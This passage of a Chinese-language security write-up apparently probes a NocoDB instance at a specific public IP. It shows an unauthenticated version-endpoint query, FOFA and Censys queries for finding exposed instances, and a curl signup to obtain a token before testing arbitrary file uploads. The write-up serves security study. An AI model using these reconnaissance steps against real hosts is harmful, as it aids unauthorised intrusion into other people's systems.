fetch('/api/v1/auth/user/me') 会带上 Cookie,但 fetch('/') 不会。这个 path 限定不是为了安全,而是为了减少无关请求的 Cookie 体积——但它确实缩小了攻击面的可用范围。 + + +## 二、版本信息泄露——侦察起点 + + + +``` +$ curl -s http://139.199.68.168:8080/api/v1/version +{"currentVersion":"2026.07.0","releaseVersion":"2026.07.0"} +``` + +不需要任何认证。响应体里包含两个字段——currentVersion 是当前运行的版本,releaseVersion 是官方发布的最新版本。一般这两个值一致,表示实例运行的是最新版。 + +这个端点不能直接用来攻击(2026.07.0 没有公开的 RCE),但它帮攻击者缩小了攻击面。举个例子,如果返回的是 2025.10.0,攻击者就能去 GitHub 看两个版本之间的 diff,重点关注那些加了安全修复的 commit。对于 NocoDB 这种迭代快的项目,每个 release 之间可能有几十个 commit,其中修复安全问题的 commit 往往有"security"、"auth"、"guard"、"permission"这类关键词。 + +NocoDB 的版本号格式是 YYYY.MM.PATCH,2026.07.0 表示 2026 年 7 月的初始发布版。可以推算这个实例是在 7 月部署的,至今运行了不到一个月。 + +在侦察阶段,版本号 + 产品名能组合进 FOFA/Censys 搜索语法搜公网实例。我之前写 Ollama 那篇的时候跑过公网测绘,Ollama 在公网暴露了数万个实例,UPnP 和默认安装是主要原因。NocoDB 目前公网曝光量还不大,但随着用户基数增长,暴露面必然会扩大。 + + +``` +# FOFA 搜索语法 +app="NocoDB" && port="8080" + +# Censys 搜索语法 +services.http.response.body:"NocoDB" and services.port:8080 +``` + +另外我翻了 GitHub 源码找这个版本端点的位置——它在 controllers/utils.controller.ts 里(或者类似命名的控制器),同样没有挂任何守卫。版本路由和健康检查路由(/api/v1/health)一样,被归类为"不需要认证的工具端点"。 + +我顺便在 FOFA 上搜了一下 NocoDB 的公网暴露情况,搜索语法 app="NocoDB" && port="8080" 返回了几百条结果。大部分集中在 AWS 和 DigitalOcean 的 IP 段,应该是用官方 Docker 镜像直接 docker run -p 8080:8080 启动的。这个暴露量比 Ollama 小两个数量级,但考虑到 NocoDB 的增速,半年后再搜结果数应该会翻几倍。 + + +## 三、文件上传——任意类型皆可 + + + +### 3.1 先拿Token + + +每个测试都需要先注册拿 Token: + + +``` +$ TOKEN=$(curl -s -X POST http://139.199.68.168:8080/api/v1/auth/user/signup \ + -H "Content-Type: application/json" \ + -d '{"email":"uploader@test.com","password":"Hack1234!","first_name":"Up","last_name":"Loader"}' \ + | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])") +``` + +我习惯把 Token 存到变量而不是文件 + + +![](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABFIAAABGCAYAAADvsrCUAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAACxWSURBVHhe7Z0PbF3Vned/DaZhgORlhO1AAqGATShYWQrG7dqIoaCZDtYWrK7K8mYSbdpOLYpYg1ZTNyMHrWaJJeJd7QjvaqnMAOnCrlErVYaunLKrgjoTu5QYCpEpUJs/CSUidtjyILRJS9s9/+67f9599/7uvefd9579/Ug3fu/dm3vPn9/5nXN+53d+9xOtra1/JAAAAAAAAAAAAABQlZ6eHvV3jfo3hgsP7KYbD+2mK+41PzQRLcN/TtsO7FLpv/HQLup54io6Y5M5CSJp5nq3yyBNLS7T4tSg+d6gDE7R4vIyLTvH4pRIOWhmBqcWRV3O0rj53rQY2ZyNygjnGgCahVrLc1nfM/VDnu2rjm05tc5sRv2TJc1J5Qd40GPC5eVFUsPC8VnxGWMukDPlNmyOKPlrtPZer/Rk0ZlVYBlS6kHrY39DPQdvpwv+2vyQgpZ7d1Dv9s9S2/oW5xdad1E/9TxwlfkOGg0b9W6fLmovEC0dmTDfG5SJAepoa6M2cUwumN/AKmGcZkXnEG3s41xTGwb7u6hQmqF9Q+aHEDjXANAsNJo855me2j6rNnqsGfUPdGaDML9EJfl36QjVb5SYZ/9ev7EE8NCQY/7Glo1a6MwGNaRcRRu3nUvr1rakT+DNn6crb7mQTqcT9O7+B+lH2/bQM7un6egpotMvuo4u+aq5Lkcc75jrlXfMbrr+wO20de855iyPMx+603jXOMcuuvbADrpg+CxzRTNjod5t4qwyLBepU3ztLDaQNXe14NRBhfk4sCLEYHxWXh88wv6/7ggirwmuBHivKctNtYOf5pXBOO3sK1BpfjpikBlxzY7v0+0vH6NvvfwL+osd5jeH0QPid3nOc/zk++akh/I9Iq7hEpUeCedZNtND91PRe6+XD9CV5owi+Cxx3P7I183JhMTlXZFTeiraYNjgLU1bTnkfHxyZz0h5EN1L8WPCjOkplxFHd+WQd+uswjQnkp+VQPUJnh4bJBnbTdCRJfl3ieLW17SHlFd3YAyJMVIdaLT2Xpf01EbPN6xHSlY2bP8sFcTf955+kF7+1jH12x+efIFeeeJ1+h2dTW19m9VveeH1jjnN/Hba+lY6/6ZvUM9DWdLSQmvXX0iXbt9Bm282P4HMqM6v2EkLk6KhK1PvAk2uqkFHgzDUSyMzJWnF8g2ABqeGSehDUT8dNJBEI5ZmaETVoz4mFwrUN+oZXKkOvkjtMyPla0ZmSF1TtuXIa0b7iDzXtLWNEQ2bAZJIs/v7CMnki4R6fkuY5mZnvJs6qUTz0xGZDr3m6/QXPxET7TuInn1OrfdVMnIt7b1io+d4nI6s7/MbJqSxZVcflabc6546Lq4JTvBjYaSH8yxr6SHa9MgvxP+7jchzr71XXEsvmvNhz9o7tUCFnj0JjReMvAtyS49pg0tSPzvtSujpQt+o25bV5L9InZ62p9u7Z5Bu6z5BODKfJ6nTYwzWw0TTSpExaLS8c0CaQRYmjpC0q5SW5vV3hW47eqjg0S9tc9TdVPvHagDGSKAe1EhnrgmLg1H2engisAXmkxfSBfvvNh4Vu+hznngjnPvoa+6kS4YvpQv3/617n+9ers673hb9dK76ZQN1fEvft/I+Ec/q7qFPXdZCdOolevHuj8wVhodfo/fFn1fX7dDX79fBYryct1/fX99TpHfvTdQjrz30t/Tpey+lzSLt8vz1T99EZ3LirWy6nC75S+kdQ/S7d56mmS/voR/95X+inx54l34nflt3zXW0gRm35ddf+2/Ku8Y5ntn9NC2rM6204Rr1gcWKrHcfZgUx1Z7VQervErN0r/tXaYm8XWRighZ4T0cavqc7sHqi/r8euPs9K+q5upF0lTYdEwNjqqMt9A3r+4uJzbC2olBvRqvWUK/uxAt9O8U3MfDp71T37fD04hMDHcptsrM4K76Za4RsjPl6+gka6Kilkc1f1o5cuKtd2mtKTgDd+tDXca4p30u1l/Bn+eG2L6dMpyMGRuHXXPmDPXTxq7tp77/8khqk8riLfiwn+uvbjVHifioOiK7zud00OaJ+ULz43RnRnXbS5xJM3uPTw3mWvfRIz46bewp0ZGqj715ertwmyvWDGf/5ke/Qzz4QctDaZX6Ih1UX1tNTXcbGu8V9gu65Q/t0W27X9xnf2adceEc8SkK39wL17dRa09Z9/ETIfIX3i19nstpg8B5p2qC5R1jb1vrC6WtGqWt+hNo6Bpj9X8a8R/SDXD3mwtFjkvA0x6XHxf+c8H5QPEN5UFa5JnH/HlHOcenhyk9FfTmHvh9HVjllyLlPIzLUKyf8Tp8/RL1tbb5xg17sKdHMSNAoIK71DVyi6yuufHQZy9847SJaDu0+KyNmzBx2T68HEV9+YtpgGXMfdc+UcHRdTJr5+YqB294lEfMURUS+2LLBTo8/32nK0E+UzsxGIo+Uc2/aQZduPtt4VLTQWSreyDb1jc8G+tT2W6lj8xnufS77El25d636ZoVbtpLcMFM6OEstu79MnzMT8usO7qbPiUn4R2LQ9v6c9EwRbL6cNnbLD4buXtqoHESOq68qvTddTevU5zNo0y230mUi7ZLTWq+mi76hPkaz/QraqLL3S3rtnlk6+Zr4uG4DrbtogzKuEF1Cmzn3CWFN61pTie/TB6+qD9Zpmnr3oiyPgkIX9VdrV3EU2kkOpQe3tOvvKVFK3/FucSzuc90pgh1p74kiOZZ7OZjvpGKUYqwZUnkJhelbRZim9uFapGWCBsbkRFPkf3iWZofFxEZ6CGW1oigcF13B+E7t5TJXed+hOemVpCRKY2QjH0Qdi7ImR37Uirk2Kkkjjy77SVEick7o9ZLRAzvONWUKfTRa8azRSlnltq/BfpI2ybAyLVPlmhe/uJG+/ZUHzbeU7LhAyIrI89HAfR7dT28kNCbEpofzLIvpufJW0Q6CRokwykYlhy46Z71Iw3G+aZhTF9bTEydjFW1Qx7LSq8LjpGwkQRde08aps1tcYbB1H4eqMi905jDRmKfthXq2xLXBpPviw9IzMU3z0ljU1R/Q12YRwQw25WTRpx/iyJr3CBLpsQidWQFHR1WF0w/Ka0apb8m9Rns5BvOeoH+PKue49HDkR052fF6XesFBPFEUqccwoGS1n5Ycj4tq/UUc3H6naXAW4+YpcvFbTVxjPGAlEeXMbxdMObTyLAs4Bu0KHaV1shB+d+EqVn64bVCQee4gnmVDz0tstAtmfxE/T4nOF1s2OOmx0C4qyKTno0m4tecE/fKJB5QnxD8//a765fSLeug8ryGCxcdqy428z0vvfKx+OeeyKzzeFtOk7/4+Le51vS9+dMsL6tc4zr5oo/j3BP3qrQtp661byYkecrqYs//6+DHxdKIbbz5B75ySv55P533Zncyv2X65MsLQO55nnTpMLw1PG88PISAHHqSfHjyhPp+1ST4rmjO2btQGk+OH6dgcUcvwTXTVY1+nyzdrg4xk3aYE23vuNd404vizu/tEeo/TW489Qm//T3PeOs1R7z6G5lRjruzIrqOer/6Y7vvvr9O4OPbcfT91/Ik5VUZM3Kfl/5aDMemaKVpf2iBiYkCijKBCOfnm/UO9qbwplHIq/8cJmlaj4Twn9YbBLSTNS36lNES9HQPpyikOoXzHVK/aSZ1SGU7a8v4YJGUnKy0Zg9kChepZE0xudtwvG5WxW2qDT36UbBeoK7WFMBr/s/RgprM7kM+q7csPJ7CX1eBfxiui9Nx39HaSR99W9VbYVMXTo/UC88ECnGdZS8/Xqb1V/Dn+Nl35AzfWSDDeyItffJyOCFn9QjmmiYxfchtt+WAmu5HKRw3SEyFjQ71ysCbboDM4NRNIIUfKU8zoJ2+AcLWCJcekavTWTlvE/7N1Hy/V5blSPw7t0wbiYFtmtUEm4elx+o7AZCHjYNNG3m3B1ZmZ9A+jHxyc6hcS5jf8ay9LMQkJeDRx+/eqabbUL6v7izRPlyfGbr8XFEPf9lrTZtuDjYKBTZmvO6YdRcdicFbIgx6w2gO3s99vQMtazknk0FadZqOKjjLbM2YCwh8lP0nyHtXv8LCr53NpF6x5Sl46vDbtIpOejyGRIeVXYhL82j3vqc+/HXuhvKVk/Q3qA5uPDj5KL96t45b8+qg2SNhk3TnSQPEeldZtVVtFfnPof9FPDsoNPSfpN0elL4Tm7YPa6+Scbf9C/ZVs3Ko3l7x36CX1V/LRoafp+A+Jfq++/ZLe2nOM/qDMMbIA9d2cbSe+48BN6ly5kE8RbXjsTrp2+9X0p2vFfV99kl59x5wzRN2nOq30qe1f8b3pJt19wmmWevcjGr20UAYafsu136R/030+nWm+r7/0X9HQvT+gP9u4mf7klh9r48oOMUpWezidVRhBZ5Gqu9lWxxmQpByXVhB8c5C2AtchbovZEywD8OZkS6CJ6XmhtCUl8m1FzoB0XVfut2MD5pdolIL2yoaSC+lSmFw2+NiTn3iCzzIeO+1bfJ1XtfblhxPYy0LwL2/w0l19VHjjcc+k/C565Q0xFuv5pi846qZHvkmfWW++WIPzLFvp0V4cdPFt9OlDUfFG7qJJ8ftTbxToM7tkGd1GW0T5yC06dqlFeqJkTJ/TK2Ky/ZlV+NBrtUv3aPt0iK60dR+HhPJs9KgfbhvkUD09EwPT4kn+QXC2/spG3m3BzUNG/RPbDzoePp7Vc0V4nfL694g0W+qXu6RLVijBvtdW32RT5qORK9budgF9FJULQs44xpaKwUyYAS1rOSeRQ1t1mh095vPrKL0dM2jkqC4/Sdsgb2yTkNR6Pp92kVrv10KH16RdZNTzMSQypJz60BNv5KhjWGihFr3vhc2HRwPWA8t8Uqbng+NidKrfiFN68w3x29ni00n67fGNdIYc8L13jH778AukzAPO9p7ytp7X6a37lbtKCL+n4yLvSfiD+Uub++jqbRvotFPv0uJj/0DP3nqIyDjDOIYZFvc8WvbWeGb39+mt4/L/bqBL7/6iPm+ZZql3Dp2Xnk+n0yn6+f+4jv793/9vekvu7zrzcvrX/+GfaO8XzhdfTtFbL02qa2XDHejQbmoLC/Jf7YWQZICiBiRZ46vUAf8+bX349x7KzkYbE/TbjOQR4ibJIP5ZEjGJUVt6JGLSk3YLkXIFdJ9TbJfBZz0W7Rjcga6UDdHZyg5XrUwnl40Vj1o58q5qhsC5Jo5Hv0TfdibucpJOt4kJuvtWGbktxZ246+Nm2q/ickgPCptwnmU1PW88Hog3cq24txDzyxyjufT4OEZfuHiBnpLlc98MlS72l49VckuP9ByREyC51UC0wRFxH2XUDOogeZ2J8+FbanOwdR9DjDy7+8idoyiuryGR6RkiuWPRdZ3XE47SzL7AhINJo+WdQ2b9E9cP6m1irsHdPVJP3mPq1Ea/rFeaO6m//B/NKnHqVfp84IwlglsO5FF1i0EOBI1nLpXebumpgRzGwBvXxTAxQNIRytVRelvPwnQSI0f+eW9IXRcBd56SZ76stovMej6aUENKyzp3y0lVbj6H9I4IaZxQHypg3ccS0c86jdauk54jJ+jk5kvoT8Wnj44fI5p7jn75pjx/PrXeIgrDbOv5zaFZej+hseTwtZ6tKM5x7X517uRR7c0hOSWDzW7/Rzo89pEKitsm3aHpYyq9pj01ou4Txh+e/Dm9PmMMFGs36L+CpPeRrLx6r+SVhz9DQ3dcTt9+9h36+Nhd9F/+/hF6/l3HaHaKjv3zGP3jIfNVolxlS7S0T3ohaKNK0LUsivmloAW1OdCB1PxH5f5XjzFBTkCkgSNsz2kMnGc5b+mRgyA16Cn00XDSB0lK/rf2eFcdJrSpP1xJd7WL3FXxhFEeKsllY2XjuGcGV4G8cK5Jjt4+UqCLb/BuKXENLfL49lcocZwQLpxnZU/PPL0nDS+RyDft3EZbhGQ+5bw5RxmddPl85o4sr1wOkmd6pGeIHMBJ44dZrVf7rmUb1EZWd2Ve7y/36hO9hW+JBibs3Mcd70XLsxyEym2i0n3a1XVab9SG+PalYj85rvNqJTDtGw0aLe8c4suHR1Q/OE9yCCDd1N18e47Eq96cNFvol1V/J7tZx3tjlPpI9J02V+lrAG/ckgNGb1TG90hC/KuV+diWw3hs1YVPR5kJcTLPiXzz3pi6LhrOPKVx8pW0XdjS89VZ43hLODE6zn7oTrrqsvDJ6emfNC/u7b6YLrj7aqVoZfyQhftdrwvOfficTYVt6ik+uM86+eFJ9ffcW/6OutSl51PX9q20lk7QsjE+HD+og86eu63XbOt5n97Zf1ids8YDL0lHDsHHdPLouzrY7NaNdN69N+h4LKdep2OPyQ/JWfP5C+m8bl0OyguHyUqud41eaYyMUC35f3voO//xchq64xJlYBmd3GdOeHEarlHICdCT88p9xbGoDqOJkBMQM2gzL7uwx6B5S09Jxy3QcQ3kIK9K8MC0qP2VYtAZ8iaOcHfSRkLLpvOmkXA41wSpEmwzrn1xYi1wrqkVo1erCf2zwbgc5W1CyV9FXJVqz/KSOD0P0pJU9xUxVdxYJXIlTm23+WDJff2wwhg9gkFfM+W9BumpKmNmhbFiBc3oZzEgHBdDJhUfumJPtOvmbes+5Z8j5dlcn2qPdrU2GAOnfak999p1Xu8hT6njapX30H4wjR4LIY3+ieuXK/pBy674SdOcql92Jh6BiaetCSdrbJNS5hsGozeiApaagM+V8S5CdAuLqHZhe0uIpTbIwaOj1DiMVS6u/CTPO3PuEEqt9Xxt2kX8PCVJvjLKhu12kUbPJ2TNr94yQVOv+YqKo/HZazaYt6pUcs5Nf6djbTz8V3Rpq/Tw+Jje/aEUVKIk94nnBWMTaKG2m/6dG+PDvOKW9ay1YoL92HN0VDkbnKRfHXyetOOB+Hzge/T6w/KzYM+kDjp70XXUKefnx1+jw7aDth79OR1WMVpaqHDNX+m8fE8Gm3XLkOsBE4x98vn7d5j7nKSjzzytL2KwYuvdwemsozoyDmZlRuJ4RSRyK3SCQxUDK0Ljs+VtIBVKTEasrsum3QSINAbdNPU+S3vxSzRiUKe29Og4Jrrch6hXu6VUef1oWoZon64s3xYdaYkvdjrPF51sSAerg5kllA2rmMFCZ3+EcYlzjZ/xWb1iX+ESGdO+nFfGRnW6nGuS43o9VDNcqGCoA+30s/uMV4SHTTdIGZZ00qdH1YdMRD3LIW161CuT1/f5grnqWCsl+tl37xLfdDwWEtcUvf939N/qeCxvPO97Xta8205PdRlzJil95Gv+zpt0zEBLbU8IeK7pmEhO0EFb99FEy7Npe968qNdAxrtGV22DMfDal953XujaSTvFaDOt/rKRd34/mFyPhRFXPqz0MPpBR35GLez7jK1TK/2yKV8Lk+60Y5u0Mt9I6AWfMG8gMYZQsjChA/hWjDfMa5OjG24I0e3CphzGPcsuRkf1jepxGKNcgvKTKO+Z5g48XRcGR+Zr1i5i5ylJ8pVVNuy2C14/mI01J4a/R6++c9LEvfiYPnrzafrpQy+RJyoGlV47TKUPnGskH9OpDw7TLx77r/TyPfpKzn2S8PbYk/TW8ROeZ7rEPeujD8U/azdSofUQvXKN3Nbyn+mFr+2nl53Pd/hjdeigsy3qzTrvHfwn9Ztt5JtpZva/JsrRjYXyu0AZpuH3p07Sh28+Ty/d+w/0yj3V4rpUshLr3UemyNvGIi0P1enr+Bf6bYCBqNaxaDdbN5ihObrnPJG4e2lEaLHynmblRe4JdMtETvid+6tky47DfE+8NzUOkeYxGi4/Tx6jfUsi3fx4Ixz0hEUawsf89xXP16FJilbzpoL7iRu7+8uD+Rqi3jGiYU++3WuSyoZdhnqlzPjlLFg28ddoWXfO6RgyIYE1I9uXnZWVTY/8gpwYIjt65MzWE1fkJ3obiPcafeyhi1/dTXudrSMh13yBHhfnL6X/86i5wMPRp52Axgv0SuA1vmnSE/YsW+lR22LumyHq2VO+146eJXrKcy8dj4Voy4D7vG8NdFLpOVFGX5TGDZesebednigZk27jsv1726nU1b63npjVeCHsrjyrWCiuPNu6D0eeK9reaDtNh7pGR7dBnp7nr1yqgI7qbWiVLvPeZ6m316mJoUlb2aBsKe8J+kGOrouGUT6c9HD6QSk/Mq8hMRqSzWl5aY5LD0d+lBHA87v3SJRmdp0y+52mQsarCRn7LXfTnKNbRPlEjzeSEdkurMmhJnsb5FN+0UDV8XyM/CTJe6a5Q0i5pNTzmux9Aa+/iJ+n8PMVLRus9FhrF/x+MAufaG1t/aP5vGI446E7qe+aDfTRwUfo2a/VP8ApaF5kwKwiTUYHGARgBSA7ON1ZZRzAqlVHOWCOuA/nGgCaBUvynGsbtEUztmWkOQK5kFRUrwAPxkRR4yHpFTCSbqIfhjWZBysX6f2gVzJD4uc1n/xw0ox2YYEa68yenh71N9Fbe5qFk0+8pqyXZ13zZdp6r35zD21aS2fc1Uuffuhy/R2AWAZJxhOsfA0XACAcTmCv2gf/AiA/Gk2e80xPM7ZlpDmSQRlgP3wVVwWlBCBnnNfzNvNWL5A3+enMFWlIoSf/Ly2+KrfQnE3n3/INHWfjh9+kvq/dQJtaswZCBasH7e5Wl6jvADQlus1Ee3BxrgGgWWg0ec4zPc3YlpHmSKq9cWbQCfqebssDAKkYnyX9thh4ZoAk5KczV6YhRfD+rffRwQOH6cNy2JCP6cM3f0rPP/CC+Q4AAAAAAADQyNgeITFSzNaKWrwqF4AgcmuLkrtip3rlblPZPcGqYkXGSAEAAAAAAAAAAACwyYqOkQIAAAAAAAAAAABQC2BIAQAAAAAAAAAAAGACQwoAAAAAAAAAAAAAExhSAAAAAAAAAAAAAJhUGFLGZ3WE7sUp34vPcmSQphZlGhZJJWF8VkduXpzyv4qtVgxO0aJ43uy4+Z6IcZqVaV2eFZ+icPIYzFed814NUyah+SqfM0doWm3lq0HLxxaBsqxfG2xGIGN1o0JnNmFdsPRYDakow0bF9HGh5VOneg/WnfP/HMrn4/plUEkTtuU801xvvbEiaEYZS0nN9Dwn7878RByxCeDOZepAo/WVjZaeFUj97RLRNL5HyvwSleTfpSMr5pVr47Oj1EczNNLWFv0quWbI+8QAdch8iGNywfwWh618rSTZkB3faBfNj+iybGsbofmu0YDi0J1bPsokz2fVAMhY49AMdZFGj61mOHWQR73LQexoHxUWJo3elEcHDVgXEA5NrjM5NENbDlLLNOeuNyBjbPKUsUYjNO/ytdZSVidpobPIMKY0JoP9XVQozdA+3+uQ69cuwtMDVhMVhpShXt0pdNRnJCKYoCNL8u8SHWk67TdPS1J7lZbEp2qMU3cn0cJ0mAGlQfNeHiz0ClWcBlv5ambZiEBOBortNDPinQBM0MDYDFHfsF5hADFAxhqHvOqi+uBJrWCshNVhs9pVXmkMMDi1qFcYnSOYZ2dlMuoaH7pM5XXJB6X5t0E1iBVThpmoUWzm/ms104xtOX85BFnIs76Mfltx7gNJynCI9s2IiUr7log2xZnL1INx2tknNP78tMhxI9Bo6akzYeMNdWTzbKq/XSKaxvdImTgiVINsz43VnFMzuIXazcdYVlreHWzla4WUz/hOuaI6XbmKOjFN86UCtXeZ74APZKxxQF2kwLhqDxNNy0FvCNKIMto1rz0b1TFJC4U+GvVOOod6zbmIazyMzxap03wOxwywOeRW75jo5kYztuVmTPNqBvWVHU7eC+1Uu6FljTxExrtF/1Si+ekGUfiNlp6GoEQzZc9651jZixhrKla0zFFpsHVXqvQRtkIWfY16lhrA+a8LNjZtfXIKXruj1c4SFUizdBM2Z5IzQQMdIu1R23Vi4OXd2Q/pHJ5yViuY8ruTL33O2WPmW9kpr3Y6R6BOg+cTrQr54depSXeVZ/HuEy2HGs410ei2E7S06vs6Mh0v89JDqdqKql5l2LfFaaN6klPoGy3fx38vSYRslKmed1cfcJ7FJGilrlAuEXWRQJ5t6Y24+3D1mE67ez5pXbhUvyZ6tVb/P6+sRT5L1VOgfNURLuPl8yE6M9/2Hg27vljElKEkTb0HylBu/+yaH1F9SbWh8MRAR6CvMSuNhS7qr5o155qQQbRId7/0lpycpLS7FPJqgyw4/VdamffUqU2daUW3qHPyu3OPQP585RDfXzRjW24oOZSk0QmeayBjDrWXMU31uiiTpk5D5xcx5cPUUfbyLsk6l9H9jJJTa94/opxUB+UuOrLaBVNW2e2iTGV6XBjyw7omBnb/Fd8G49KTvHzS49ar/6iFXcIGa9RgTDS48jEyo/fW+ZAJEYLq24c8Te3DHmWmKrRI7TNi8GeuEbeivtFA5uVq2HI/LTkWq8kFJfzW2loSVAPzpzk8/42ErItR6lty60KXs184uoZlGY/QTKkgPi9SkcT1chNveZAt7jNMNObkWxyTCwX/feoRN0BZeAWRk4EoGLLKusYiSuaLRJPmWV6Zl/ktzZM2aMt0uQ1eKqj5pRKNtk+bNOoJTskrr+JwO0uObETn3dUHcc/ioZR7sVNMztx7tM11u+2dqTfi5TlnoupUIco5rn2x5DD6GikfcStLS3K5nqufxTBP/qbKV10ny7yTis7A1bbOzNzemcTWFwNWGTLqnVGGclCcfhCcBjHQGpaecZPUq0fijYuqB60jR/vktETIp0dvlgfu7P4rRuZz1plaVqPGSBzdwhwDMMYSbJqpLecKp74gYyzykLEc9Ty/fOJ0VOOhZFbKgozHYiOdg/3UJdT9wpzbQSVpF6wxZBLdEpIeTXRb1nCu4RInGxwZY6YnJ93r1qs5KtqNhJFm9rg3G7ytPYN6O4pfYIaot2ytdCxzkz7BnRgYExUq2lG/vzIWJj2xIIbmVANo3+KrrlxQWypKMzSWtBOqI4NT/aIjWaBJz2hXl7NoTDsdyShQYcm1khYKS57rna0i3vrTDO2TwiqUTE1HQTEYeaCycSEhsbIq4FxjGWlIKFfB0D7dLrrHRVJESlRAMGkxdhq87hTUBDgBLNnIM+9iIKHVgifvkqFe8z1eb2g48pw/1erU/BDfvizI6sQR6cDrYFYdnB5C/d+SSGMy/awGI+WMTdD0vLjIGGus68ys7T0B0fUVB7cM4+u9lv1OV7s0LERsdRFtclju6Z7ZJ1LqMjg1TH0Fv+5oWDzblUZk4UudZ76rI0UeomQ+V51piB4jMXQLQ2fyxhIJaJq2nDeM+oKM8ai5jOWr55OUT6SOSoh/3FBDpK6Wk2A1AQ96SSQjW1BX/hiSq1uqpsfCuC4pUbJhe14QXz7ivqOehY2M9V6V2DRz5xfZ4RlSzH67zmIVK46xzFXuxwtr7Avky3fd0EFf8w4SpIPjpS2DQerXJlAhLl5MoKn2LfqrwCdc3IBRpp7ri2gIcjCcUqHEyqqEc41VgvXt1pec+Kh2o9qQ2WupFESJkm3tjZcN1b3nmPdYWWfoDYdU8lxTqtepM8ysINi+bMiqis7fTnr820VqHt3ZrTuurnZR/oJE+rnSgKdXB6TLcC10Zsb2ziZFfXlJWIY+fPVew35nfJaK4t4VOkCtjJpBjXnDjXdgIdOkAuYFjCurieoyL7/kpzM1KcYHQd0iiNKZ0rjK6i8S0SRtuREI1hdkjEmNZSxXPZ+sfCJ1VFLUuKGT+lO5BSVEeQbKxUHpOZjSE8npozL0m7wxJFe3RKSH05Ytt/fqsmF7XhBTPhUx2Yx3TA2208SmOcH8IivMYLNSeckC0YnWVqbKgqm+gu4M9PPFv2dMH7XYz8XB2fM1TGNGwNPgTJSKFflSA+iEVO5DKwpV1+xwZJUnz7WmrWOatEPKhGjz0uhgVpLVBDhpAEWubOSXd7U6zjB6ROmNZia+fVmQVdWZmBUV6fa8MCOu9epb2dVoGk0/NyOcMqyLXpUurLKhl2ZoxLPypPBscZHHJEkd4cqQCjCb0EOmcnCykmmM/sJLdhmzO5YA0djpC/JlNctYPnq+juVj+oTpdh1TJL95UUpPJLWla4GmE/RRNSUyPRbGddao97xAv33U78lmC16a85hfJHhrjwk+JAdjar+SdN/hFnR9ourr4Ev+w78Slx/Onq8xGhaVndbVybwxYcG7J8xzdAzoyxjITkDuL5duWu499JaS5ocjq1nkuUYYo4Pa7uOBN2mJlw1X8vPJOyd+RzSuEaDZ4LcvO7IqXbKl3CzMDdCRJd1pKTkSMhUP3nqSHV2GddGr0uNEjYoWaJKxUjvUK9NjBjbKi6VEM2O19iJodhqnv7AjY0n6C5AFu31BPkDGqmFTz9exfIyXYvecflZN50XqWdLIJPonma+goT8WZ4tG0KuiXnDSY2dcl50GmBcYz5FCTfbgZ0mzvflFutcfS2umSbQqG/WaVgrZR1bNragR0AIWrFy1r9F8rgUT0/Oi3Dop3XbeLC6RLmWXy9T7DWuJDCC0bCc4lSQoq2FwruHiBEOLRLt9RmKMKtKrw7WohsusJqVsVM171LM8lLcNVBoH9T7cCFln6I2aEJHm9HhdeVO2r1SyajpK6hLPFF2DEJqhOTFN7urXBqylI6xy5iWzFjoze3uvlNFB5ekl8159eJhwiw2rDDn1brkMpSyrN0HIQWpyT8dxpYjk4EO2B+fQK6syiJz87l+t1AOXzAPvmrTBnMiqMzORUrcEmB23M5bw0yRt2UvN5dB2XwAZszo+DJKrnq9F+fDIFmIgAdJTUvZPoqxG0nrimy0avq05FdSqXYToFlZ6PKQa19nC9rwgCEP3mjlRRXnZ1r3BNOc4v+AZUkRjCLp+6YboxHEQg6vpBZHiom+vkg5gV+3VrvXG7JPq7C9br6SVudheErlqXFRAKxm4KcPGunIH541WrYQ6qWtiDXAMEWmjssfKqoBzDYMKQ4HsNBg+mcqVPmztQnlv6L2XGqmkvJ2dqTePzHphyQY779HPctD/VxJiMHECURUDFmKRBp3EOukNJ3aISLOtPcJOnWpXT2b7siKr+lmFviL1icGECsAnA/IJOSgKOdLeTLbKuQY6M1N7N6/yDcgoJ1/++uLAKUNOvVssQ3nvxEaUQRXU2sl7mNems7LqvAHBZzRxBj9ZJzI1aIM1w7LOzAZTtzCwMZbw0TRt2UPN5dBiX6CAjKWXMQ756nnr5dNAyPyq8bD0hsjgXeME7Y0eptSmXYTpltj0WBnX2cPuvMBPrO6V7cLIQNARSd9fktKxIDbN+c0veIaUoV6zJUVaj/Qx2rckBm/eqN+96lVI7l6lkGsaDLndRr+yzKRXvma2Y9qiw08NkFY3OdAVwuGUs3Mk0cVDvXJvmWclcrSdpgOuiUoRmnsr+4BsjOa7I8CcaxKRNSo7U1Zjr+Eg7iPfGlGWefVWML1nz48MtuQ+q9iurfOO8pfbMiYGpkW+5XXyFW2iHlQ5yhv6J0gV9SaOcjlzZCNB3iOfZdAeVpKw1Q2hyDqc1wK691junvNE/a6D3jAGnmyE16mbrfj2xaoLxjVqC5XAXRUYojnzoLI3k6Vytq4zM7Z3mZ4R8zq76HxF1xdLjzHKkFPvnDL0pke6kIsEufc0Rgx3ddOfN+813vvoY5S65qWBJOXqoC2stMForPVNnHZq4OjMrLB0CwdLY4kyDdKWE5FRDjkyZq0vMEDGBFnf2hOSnvLb7nLU89bLp2FwAph73yaTBr63mZ12EadbGOnhtOUE7T0zVucF/HGUOkb7aElufwuRgei5AwNmOecxv/hEa2vrH81njbQgmcxnkn8QDsp3VSEVi2644QM9dV52sBCGXNH1ovc4Jy36uDoFjQXqqzHJ0gbB6qQWbRlyCFYbTdMnjksvb7lAWft0ssokx/Q0GnWVmQadN/f09Ki/FR4ptXIvAgYTeAcAibLK1tRNF1QglPKwXOUPcTcEAOQA2iBoBCCHADQozRhkFtSCRrdLrJma9e51NvEZFqbtuxcBgw6K1Nlfo2BZoLmYGKBp5f7pD7gkrb/N7drZiMj4ENrdkDK7nAIAkoM2CBoByCFYrTjzvEY3COit4Y3TNhstPSsVoZubzC6xZmAf0XB5j1GROmVgIAhKDZGNcYRmyOylrVX0cZASExU+7rBYbzLg4+SCf+/haNd8poj5IAzTEQYDaAIAcmI1tsH8+xQQx0qTQ8gYiMORETHPk2/RwTyvQVntbVno5iazS1TGSAEAAAAAAAAAAAAAPqrGSAEAAAAAAAAAAAAA4cCQAgAAAAAAAAAAAMAEhhQAAAAAAAAAAAAAJjCkAAAAAAAAAAAAADCBIQUAAAAAAAAAAACACQwpAAAAAAAAAAAAAExgSAEAAAAAAAAAAABgAkMKAAAAAAAAAAAAAJM1g1OLtLw4RYM0TrPLy7RsjsWpQXMJAAAAAAAAAAAAAJBoj5RCH40u99PSSBu1tYljckH8NEqz4+osAAAAAAAAAAAAABC